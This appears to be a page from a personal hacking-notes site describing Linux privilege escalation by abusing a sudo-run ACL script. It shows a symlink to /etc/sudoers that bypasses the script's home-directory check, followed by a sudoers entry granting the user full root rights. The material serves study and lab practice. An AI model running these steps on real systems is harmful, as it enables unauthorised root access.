> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-acl-symlink-linux-privilege-escalation.md).
# Sudo ACL/symlink - Linux Privilege Escalation
Sudo ACL / symbolic link notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo ACL / symbolic link** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
sudo -l
sudo --version
```
## Examples
By running the `sudo -l` command, we discover that we can run a script as **root**.
```bash
sudo -l
```
This Bash script modifies user access permissions on a specific file using ACLs, after checking the path validity and the target is a file.
Finally, let's grant the mtz user the read and write rights on the file
```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```
An error occurs because the file must be located in our `/home/mtz` directory
To resolve a bypass solution could be to create a symbolic link from a system file to the `/home/mtz/` directory and run the script on that link.
```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```
We need to modify the file "suders/ link", which will update the sudoers file, to give all rights to the mtz user.
```bash
mtz ALL=(ALL:ALL) ALL
```
---
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